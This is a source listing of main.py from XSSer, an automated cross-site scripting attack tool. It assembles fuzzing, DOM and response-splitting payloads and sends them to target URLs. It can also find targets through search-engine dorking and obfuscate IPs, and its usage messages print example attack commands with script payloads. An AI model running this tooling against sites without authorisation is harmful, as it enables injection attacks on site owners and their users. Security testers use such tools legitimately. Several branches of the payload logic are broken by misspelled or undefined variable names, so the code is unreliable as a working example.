main.py 213 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622362336243625362636273628362936303631363236333634363536363637363836393640364136423643364436453646364736483649365036513652365336543655365636573658365936603661366236633664366536663667366836693670367136723673367436753676367736783679368036813682368336843685368636873688368936903691369236933694369536963697369836993700370137023703370437053706370737083709371037113712371337143715371637173718371937203721372237233724372537263727372837293730373137323733373437353736373737383739374037413742374337443745374637473748374937503751375237533754375537563757375837593760376137623763376437653766376737683769377037713772377337743775377637773778377937803781378237833784378537863787378837893790379137923793379437953796379737983799380038013802380338043805380638073808380938103811381238133814381538163817381838193820382138223823382438253826382738283829383038313832383338343835383638373838383938403841384238433844384538463847384838493850385138523853385438553856385738583859386038613862386338643865386638673868386938703871387238733874387538763877387838793880388138823883
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. # vim: set expandtab tabstop=4 shiftwidth=4:
  4. """
  5. This file is part of the XSSer project, https://xsser.03c8.net
  6. Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
  7. xsser is free software; you can redistribute it and/or modify it under
  8. the terms of the GNU General Public License as published by the Free
  9. Software Foundation version 3 of the License.
  10. xsser is distributed in the hope that it will be useful, but WITHOUT ANY
  11. WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  12. FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
  13. details.
  14. You should have received a copy of the GNU General Public License along
  15. with xsser; if not, write to the Free Software Foundation, Inc., 51
  16. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  17. """
  18. import os, re, sys, datetime, hashlib, time, cgi, traceback, webbrowser, random
  19. try:
  20. import urllib.request, urllib.error, urllib.parse
  21. except:
  22. print ("\n[Info] XSSer no longer supports Python2: (https://www.python.org/doc/sunset-python-2/). Try to run the tool with Python3.x.y... (ex: python3 xsser)\n")
  23. sys.exit()
  24. from random import randint
  25. from base64 import b64encode, b64decode
  26. from http.cookies import SimpleCookie
  27. import core.fuzzing
  28. import core.fuzzing.vectors
  29. import core.fuzzing.DCP
  30. import core.fuzzing.DOM
  31. import core.fuzzing.HTTPsr
  32. import core.fuzzing.heuristic
  33. from collections import defaultdict
  34. from itertools import islice, chain
  35. from urllib.parse import parse_qs, urlparse
  36. from core.curlcontrol import Curl
  37. from core.encdec import EncoderDecoder
  38. from core.options import XSSerOptions
  39. from core.dork import Dorker
  40. from core.crawler import Crawler
  41. from core.imagexss import ImageInjections
  42. from core.flashxss import FlashInjections
  43. from core.post.xml_exporter import xml_reporting
  44. from core.tokenhub import HubThread
  45. from core.reporter import XSSerReporter
  46. from core.threadpool import ThreadPool, NoResultsPending
  47. from core.update import Updater
  48. # set to emit debug messages about errors (False = off).
  49. DEBUG = False
  50. class xsser(EncoderDecoder, XSSerReporter):
  51. """
  52. XSSer application class
  53. """
  54. def __init__(self, mothership=None):
  55. self._reporter = None
  56. self._reporters = []
  57. self._landing = False
  58. self._ongoing_requests = 0
  59. self._oldcurl = []
  60. self._gtkdir = None
  61. self._webbrowser = webbrowser
  62. self.crawled_urls = []
  63. self.checked_urls = []
  64. self.successful_urls = []
  65. self.urlmalformed = False
  66. self.search_engines = [] # available dorking search engines
  67. self.search_engines.append('bing') # [26/08/2019: OK!]
  68. self.search_engines.append('yahoo') # [26/08/2019: OK!]
  69. self.search_engines.append('startpage') # [26/08/2019: OK!]
  70. self.search_engines.append('duck') # [26/08/2019: OK!]
  71. #self.search_engines.append('google')
  72. #self.search_engines.append('yandex')
  73. self.user_template = None # wizard user template
  74. self.user_template_conntype = "GET" # GET by default
  75. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  76. if not mothership:
  77. # no mothership so *this* is the mothership
  78. # start the communications hub and rock on!
  79. self.hub = None
  80. self.pool = ThreadPool(0)
  81. self.mothership = None
  82. self.final_attacks = {}
  83. else:
  84. self.hub = None
  85. self.mothership = mothership
  86. self.mothership.add_reporter(self)
  87. self.pool = ThreadPool(0)
  88. self.final_attacks = self.mothership.final_attacks
  89. # initialize the url encoder/decoder
  90. EncoderDecoder.__init__(self)
  91. # your unique real opponent
  92. self.time = datetime.datetime.now()
  93. # this payload comes with vector already..
  94. self.DEFAULT_XSS_PAYLOAD = 'XSS'
  95. # to be or not to be...
  96. self.hash_found = []
  97. self.hash_notfound = []
  98. # other hashes
  99. self.hashed_injections={}
  100. self.extra_hashed_injections={}
  101. self.extra_hashed_vector_url = {}
  102. self.final_hashes = {} # final hashes used by each method
  103. # some counters for checker systems
  104. self.errors_isalive = 0
  105. self.next_isalive = False
  106. self.flag_isalive_num = 0
  107. self.rounds = 0
  108. self.round_complete = 0
  109. # some controls about targets
  110. self.urlspoll = []
  111. # some statistics counters for connections
  112. self.success_connection = 0
  113. self.not_connection = 0
  114. self.forwarded_connection = 0
  115. self.other_connection = 0
  116. # some statistics counters for payloads
  117. self.xsr_injection = 0
  118. self.xsa_injection = 0
  119. self.coo_injection = 0
  120. self.manual_injection = 0
  121. self.auto_injection = 0
  122. self.dcp_injection = 0
  123. self.dom_injection = 0
  124. self.httpsr_injection = 0
  125. self.check_positives = 0
  126. # some statistics counters for injections found
  127. self.xsr_found = 0
  128. self.xsa_found = 0
  129. self.coo_found = 0
  130. self.manual_found = 0
  131. self.auto_found = 0
  132. self.dcp_found = 0
  133. self.dom_found = 0
  134. self.httpsr_found = 0
  135. self.false_positives = 0
  136. # some statistics counters for heuristic parameters
  137. self.heuris_hashes = []
  138. self.heuris_backslash_found = 0
  139. self.heuris_une_backslash_found = 0
  140. self.heuris_dec_backslash_found = 0
  141. self.heuris_backslash_notfound = 0
  142. self.heuris_slash_found = 0
  143. self.heuris_une_slash_found = 0
  144. self.heuris_dec_slash_found = 0
  145. self.heuris_slash_notfound = 0
  146. self.heuris_mayor_found = 0
  147. self.heuris_une_mayor_found = 0
  148. self.heuris_dec_mayor_found = 0
  149. self.heuris_mayor_notfound = 0
  150. self.heuris_minor_found = 0
  151. self.heuris_une_minor_found = 0
  152. self.heuris_dec_minor_found = 0
  153. self.heuris_minor_notfound = 0
  154. self.heuris_semicolon_found = 0
  155. self.heuris_une_semicolon_found = 0
  156. self.heuris_dec_semicolon_found = 0
  157. self.heuris_semicolon_notfound = 0
  158. self.heuris_colon_found = 0
  159. self.heuris_une_colon_found = 0
  160. self.heuris_dec_colon_found = 0
  161. self.heuris_colon_notfound = 0
  162. self.heuris_doublecolon_found = 0
  163. self.heuris_une_doublecolon_found = 0
  164. self.heuris_dec_doublecolon_found = 0
  165. self.heuris_doublecolon_notfound = 0
  166. self.heuris_equal_found = 0
  167. self.heuris_une_equal_found = 0
  168. self.heuris_dec_equal_found = 0
  169. self.heuris_equal_notfound = 0
  170. # xsser verbosity (0 - no output, 1 - dots only, 2+ - real verbosity)
  171. self.verbose = 2
  172. self.options = None
  173. def __del__(self):
  174. if not self._landing:
  175. self.land()
  176. def get_gtk_directory(self):
  177. if self._gtkdir:
  178. return self._gtkdir
  179. local_path = os.path.join(os.path.dirname(os.path.dirname(__file__)),
  180. 'gtk')
  181. if os.path.exists(local_path):
  182. self._gtkdir = local_path
  183. return self._gtkdir
  184. elif os.path.exists('/usr/share/xsser/gtk'):
  185. self._gtkdir = '/usr/share/xsser/gtk'
  186. return self._gtkdir
  187. def set_webbrowser(self, browser):
  188. self._webbrowser = browser
  189. def set_reporter(self, reporter):
  190. self._reporter = reporter
  191. def add_reporter(self, reporter):
  192. self._reporters.append(reporter)
  193. def remove_reporter(self, reporter):
  194. if reporter in self._reporters:
  195. self._reporters.remove(reporter)
  196. def generate_hash(self, attack_type='default'):
  197. """
  198. Generate a new hash for a type of attack.
  199. """
  200. date = str(datetime.datetime.now())
  201. encoded_hash = date + attack_type
  202. return hashlib.md5(encoded_hash.encode('utf-8')).hexdigest()
  203. def generate_numeric_hash(self): # 32 length as md5
  204. """
  205. Generate a new hash for numeric only XSS
  206. """
  207. newhash = ''.join(random.choice('0123456789') for i in range(32))
  208. return newhash
  209. def report(self, msg, level='info'):
  210. """
  211. Report some error from the application.
  212. levels: debug, info, warning, error
  213. """
  214. if self.verbose == 2:
  215. prefix = ""
  216. if level != 'info':
  217. prefix = "["+level+"] "
  218. print(msg)
  219. elif self.verbose:
  220. if level == 'error':
  221. sys.stdout.write("*")
  222. else:
  223. sys.stdout.write(".")
  224. for reporter in self._reporters:
  225. reporter.post(msg)
  226. if self._reporter:
  227. from twisted.internet import reactor
  228. reactor.callFromThread(self._reporter.post, msg)
  229. def set_options(self, options):
  230. """
  231. Set xsser options
  232. """
  233. self.options = options
  234. self._opt_request()
  235. def _opt_request(self):
  236. """
  237. Pass on some properties to Curl
  238. """
  239. options = self.options
  240. for opt in ['cookie', 'agent', 'referer',\
  241. 'headers', 'atype', 'acred', 'acert',
  242. 'proxy', 'ignoreproxy', 'timeout',
  243. 'delay', 'tcp_nodelay', 'retries',
  244. 'xforw', 'xclient', 'threads',
  245. 'dropcookie', 'followred', 'fli',
  246. 'nohead', 'isalive', 'alt', 'altm',
  247. 'ald'
  248. ]:
  249. if hasattr(options, opt) and getattr(options, opt):
  250. setattr(Curl, opt, getattr(options, opt))
  251. def get_payloads(self):
  252. """
  253. Process payload options and make up the payload list for the attack.
  254. """
  255. options = self.options
  256. # payloading sources for --auto
  257. payloads_fuzz = core.fuzzing.vectors.vectors
  258. if options.fzz_info or options.fzz_num or options.fzz_rand and not options.fuzz:
  259. self.options.fuzz = True
  260. # set a type for XSS auto-fuzzing vectors
  261. if options.fzz_info:
  262. fzz_payloads = []
  263. for fuzz in payloads_fuzz:
  264. if not fuzz["browser"] == "[Not Info]":
  265. fzz_payloads.append(fuzz)
  266. payloads_fuzz = fzz_payloads
  267. # set a limit for XSS auto-fuzzing vectors
  268. if options.fzz_num:
  269. try:
  270. options.fzz_num = int(options.fzz_num)
  271. except:
  272. options.fzz_num = len(payloads_fuzz)
  273. fzz_num_payloads = []
  274. fzz_vector = 0
  275. for fuzz in payloads_fuzz:
  276. fzz_vector = fzz_vector + 1
  277. if int(fzz_vector) < int(options.fzz_num)+1:
  278. fzz_num_payloads.append(fuzz)
  279. payloads_fuzz = fzz_num_payloads
  280. # set random order for XSS auto-fuzzing vectors
  281. if options.fzz_rand:
  282. try:
  283. from random import shuffle
  284. shuffle(payloads_fuzz) # shuffle paylods
  285. except:
  286. pass
  287. payloads_dcp = core.fuzzing.DCP.DCPvectors
  288. payloads_dom = core.fuzzing.DOM.DOMvectors
  289. payloads_httpsr = core.fuzzing.HTTPsr.HTTPrs_vectors
  290. manual_payload = [{"payload":options.script, "browser":"[manual_injection]"}]
  291. # sustitute payload for hash to check for false positives
  292. self.hashed_payload = "XSS"
  293. checker_payload = [{"payload":self.hashed_payload, "browser":"[hashed_precheck_system]"}]
  294. # heuristic parameters
  295. heuristic_params = core.fuzzing.heuristic.heuristic_test
  296. def enable_options_heuristic(payloads):
  297. if options.heuristic:
  298. payloads = heuristic_params + payloads
  299. if options.dom:
  300. payloads = payloads + payloads_dom
  301. return payloads
  302. if options.fuzz:
  303. payloads = payloads_fuzz
  304. if options.dcp:
  305. payloads = payloads + payloads_dcp
  306. if options.script:
  307. payloads = payloads + manual_payload
  308. if options.hash:
  309. payloads = checker_payload + payloads
  310. if options.inducedcode:
  311. payloads = payloads + payloads_httpsr
  312. if options.heuristic:
  313. payloads = heuristic_params + payloads
  314. if options.dom:
  315. payloads = payloads + payloads_dom
  316. elif options.inducedcode:
  317. payloads = payloads + payloads_httpsr
  318. if options.heuristic:
  319. payloads = heuristic_params + payloads
  320. if options.dom:
  321. payloads = payloads + payloads_dom
  322. elif options.dom:
  323. payloads = payloads + payloads_dom
  324. elif options.heuristic:
  325. payloads = heuristic_params + payloads
  326. if options.dom:
  327. payloads = payloads + payloads_dom
  328. elif options.dom:
  329. payloads = payloads + payloads_dom
  330. elif options.hash:
  331. payloads = checker_payload + payloads
  332. if options.inducedcode:
  333. payloads = payloads + payloads_httpsr
  334. if options.heuristic:
  335. payloads = heuristic_params + payloads
  336. if options.dom:
  337. payloads = payloads + payloads_dom
  338. elif options.dom:
  339. payloads = payloads + payloads_dom
  340. elif options.inducedcode:
  341. payloads = payloads + payloads_httpsr
  342. if options.heuristic:
  343. payloads = heuristic_params + payloads
  344. if options.dom:
  345. payloads = payloads + payloads_dom
  346. elif options.dom:
  347. payloads = payloads + payloads_dom
  348. elif options.script:
  349. payloads = payloads + manual_payload
  350. if options.hash:
  351. payloads = checker_payload + payloads
  352. if options.inducedcode:
  353. payloads = payaloads + payloads_httpsr
  354. if options.heuristic:
  355. payloads = heuristic_params + payloads
  356. if options.dom:
  357. payloads = payloads + payloads_dom
  358. elif options.hash:
  359. payloads = checker_payload + payloads
  360. if options.inducedcode:
  361. payloads = payloads + payloads_httpsr
  362. if options.heuristic:
  363. payloads = heuristic_params + payloads
  364. if options.dom:
  365. payloads = payloads + payloads_dom
  366. elif options.dom:
  367. payloads = payloads + payloads_dom
  368. elif options.heuristic:
  369. payloads = heuristic_params + payloads
  370. if options.dom:
  371. payloads = payloads + payloads_dom
  372. elif options.dom:
  373. payloads = payloads + payloads_dom
  374. elif options.inducedcode:
  375. payloads = payloads + payloads_httpsr
  376. if options.hash:
  377. payloads = checker_payload + payloads
  378. if options.heuristic:
  379. payloads = heuristic_params + payloads
  380. if options.dom:
  381. payloads = payloads + payloads_dom
  382. elif options.dom:
  383. payloads = payloads + payloads_dom
  384. elif options.heuristic:
  385. payloads = heuristic_params + payloads
  386. if options.dom:
  387. payloads = payloads + payloads_dom
  388. elif options.dom:
  389. payloads = payloads + payloads_dom
  390. elif options.dcp:
  391. payloads = payloads_dcp
  392. if options.script:
  393. payloads = payloads + manual_payload
  394. if options.hash:
  395. payloads = checker_payload + payloads
  396. if options.inducedcode:
  397. payloads = payloads + payloads_httpsr
  398. if options.heuristic:
  399. payloads = heuristic_params + payloads
  400. if options.dom:
  401. payloads = payloads + payloads_dom
  402. elif options.hash:
  403. payloads = checker_payload + payloads
  404. if options.inducedcode:
  405. payloads = payloads + inducedcode
  406. if options.heuristic:
  407. payloads = heuristic_params + payloads
  408. if options.dom:
  409. payloads = payloads + payloads_dom
  410. elif options.dom:
  411. payloads = payloads + payloads_dom
  412. elif options.inducedcode:
  413. payloads = payloads + payloads_httpsr
  414. if options.heuristic:
  415. payloads = heuristic_params + payloads
  416. if options.dom:
  417. payloads = payloads + payloads_dom
  418. elif options.dom:
  419. payloads = payloads + payloads_dom
  420. elif options.heuristic:
  421. payloads = heuristic_params + payloads
  422. if options.dom:
  423. payloads = payloads + payloads_dom
  424. elif options.dom:
  425. payloads = payloads + payloads_dom
  426. elif options.script:
  427. payloads = manual_payload
  428. if options.hash:
  429. payloads = checker_payload + payloads
  430. if options.inducedcode:
  431. payloads = payloads + payloads_httpsr
  432. if options.heuristic:
  433. payloads = heuristic_params + payloads
  434. if options.dom:
  435. payloads = payloads + payloads_dom
  436. elif options.inducedcode:
  437. payloads = payloads + payloads_httpsr
  438. if options.heuristic:
  439. payloads = heuristic_params + payloads
  440. if options.dom:
  441. payloads = payloads + payloads_dom
  442. elif options.dom:
  443. payloads = payloads + payloads_dom
  444. elif options.heuristic:
  445. payloads = heuristic_params + payloads
  446. if options.dom:
  447. paylaods = payloads + payloads_dom
  448. elif options.dom:
  449. payloads = payloads + payloads_dom
  450. elif options.inducedcode:
  451. payloads = payloads_httpsr
  452. if options.hash:
  453. payloads = checker_payload + payloads
  454. if options.heuristic:
  455. payloads = heuristic_params + payloads
  456. if options.dom:
  457. payloads = payloads + payloads_dom
  458. elif options.heuristic:
  459. payloads = heuristic_params + payloads
  460. if options.dom:
  461. payloads = payloads + payloads_dom
  462. elif options.dom:
  463. payloads = payloads + payloads_dom
  464. elif options.heuristic:
  465. payloads = heuristic_params
  466. if options.hash:
  467. payloads = checker_payload + payloads
  468. if options.dom:
  469. payloads = payloads + payloads_dom
  470. elif options.dom:
  471. payloads = payloads + payloads_dom
  472. elif options.dom:
  473. payloads = payloads_dom
  474. elif not options.fuzz and not options.dcp and not options.script and not options.hash and not options.inducedcode and not options.heuristic and not options.dom:
  475. payloads = [{"payload":'">PAYLOAD',
  476. "browser":"[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"
  477. }]
  478. else:
  479. payloads = checker_payload
  480. return payloads
  481. def process_ipfuzzing(self, text):
  482. """
  483. Mask ips in given text to DWORD
  484. """
  485. ips = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
  486. for ip in ips:
  487. text = text.replace(ip, str(self._ipDwordEncode(ip)))
  488. return text
  489. def process_ipfuzzing_octal(self, text):
  490. """
  491. Mask ips in given text to Octal
  492. """
  493. ips = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
  494. for ip in ips:
  495. text = text.replace(ip, str(self._ipOctalEncode(ip)))
  496. return text
  497. def process_payloads_ipfuzzing(self, payloads):
  498. """
  499. Mask ips for all given payloads using DWORD
  500. """
  501. # ip fuzzing (DWORD)
  502. if self.options.Dwo:
  503. resulting_payloads = []
  504. for payload in payloads:
  505. payload["payload"] = self.process_ipfuzzing(payload["payload"])
  506. resulting_payloads.append(payload)
  507. return resulting_payloads
  508. return payloads
  509. def process_payloads_ipfuzzing_octal(self, payloads):
  510. """
  511. Mask ips for all given payloads using OCTAL
  512. """
  513. # ip fuzzing (OCTAL)
  514. if self.options.Doo:
  515. resulting_payloads = []
  516. for payload in payloads:
  517. payload["payload"] = self.process_ipfuzzing_octal(payload["payload"])
  518. resulting_payloads.append(payload)
  519. return resulting_payloads
  520. return payloads
  521. def get_query_string(self):
  522. """
  523. Get the supplied query string.
  524. """
  525. if self.options.postdata:
  526. return self.options.postdata
  527. elif self.options.getdata:
  528. return self.options.getdata
  529. return ""
  530. def attack_url(self, url, payloads, query_string):
  531. """
  532. Attack the given url checking or not if is correct.
  533. """
  534. if not self.options.nohead:
  535. for payload in payloads:
  536. self.rounds = self.rounds + 1
  537. self.attack_url_payload(url, payload, query_string)
  538. else:
  539. hc = Curl()
  540. try:
  541. urls = hc.do_head_check([url])
  542. except:
  543. self.report("[Error] Target URL: (" + url + ") is malformed!" + " [DISCARDED]" + "\n")
  544. return
  545. self.report("-"*50 + "\n")
  546. if str(hc.info()["http-code"]) in ["200", "302", "301", "401"]:
  547. if str(hc.info()["http-code"]) in ["301"]:
  548. url = str(hc.info()["Location"])
  549. payload = ""
  550. query_string = ""
  551. elif str(hc.info()["http-code"]) in ["302"]:
  552. url = url + "/"
  553. payload = ""
  554. query_string = ""
  555. self.success_connection = self.success_connection + 1
  556. self.report("[Info] HEAD-CHECK: OK! [HTTP-" + hc.info()["http-code"] + "] -> [AIMED]\n")
  557. for payload in payloads:
  558. self.attack_url_payload(url, payload, query_string)
  559. else:
  560. if str(hc.info()["http-code"]) in ["405"]:
  561. self.report("[Info] HEAD-CHECK: NOT ALLOWED! [HTTP-" + hc.info()["http-code"] + "] -> [PASSING]\n")
  562. self.success_connection = self.success_connection + 1
  563. for payload in payloads:
  564. self.attack_url_payload(url, payload, query_string)
  565. else:
  566. self.not_connection = self.not_connection + 1
  567. self.report("[Error] HEAD-CHECK: FAILED! [HTTP-" + hc.info()["http-code"] + "] -> [DISCARDED]\n")
  568. self.report("-"*50 + "\n")
  569. def not_keyword_exit(self):
  570. self.report("="*30)
  571. self.report("\n[Error] XSSer cannot find a correct place to start an attack. Aborting!...\n")
  572. self.report("-"*25)
  573. self.report("\n[Info] This is because you aren't providing:\n\n At least one -payloader- using a keyword: 'XSS' (for hex.hash) or 'X1S' (for int.hash):\n")
  574. self.report(" - ex (GET): xsser -u 'https://target.com' -g '/path/profile.php?username=bob&surname=XSS&age=X1S&job=XSS'")
  575. self.report(" - ex (POST): xsser -u 'https://target.com/login.php' -p 'username=bob&password=XSS&captcha=X1S'\n")
  576. self.report(" Any extra attack(s) (Xsa, Xsr, Coo, Dorker, Crawler...):\n")
  577. self.report(" - ex (GET+Cookie): xsser -u 'https://target.com' -g '/path/id.php?=2' --Coo")
  578. self.report(" - ex (POST+XSA+XSR+Cookie): xsser -u 'https://target.com/login.php' -p 'username=admin&password=admin' --Xsa --Xsr --Coo")
  579. self.report(" - ex (Dorker): xsser -d 'news.php?id=' --Da")
  580. self.report(" - ex (Crawler): xsser -u 'https://target.com' -c 100 --Cl\n")
  581. self.report(" Or a mixture:\n")
  582. self.report(" - ex (GET+Manual): xsser -u 'https://target.com' -g '/users/profile.php?user=XSS&salary=X1S' --payload='<script>alert(XSS);</script>'")
  583. self.report(" - ex (POST+Manual): xsser -u 'https://target.com/login.asp' -p 'username=bob&password=XSS' --payload='}}%%&//<sc&ri/pt>(XSS)--;>'\n")
  584. self.report(" - ex (GET+Cookie): xsser -u 'https://target.com' -g '/login.asp?user=bob&password=XSS' --Coo")
  585. self.report(" - ex (POST+XSR+XSA): xsser -u 'https://target.com/login.asp' -p 'username=bob&password=XSS' --Xsr --Xsa\n")
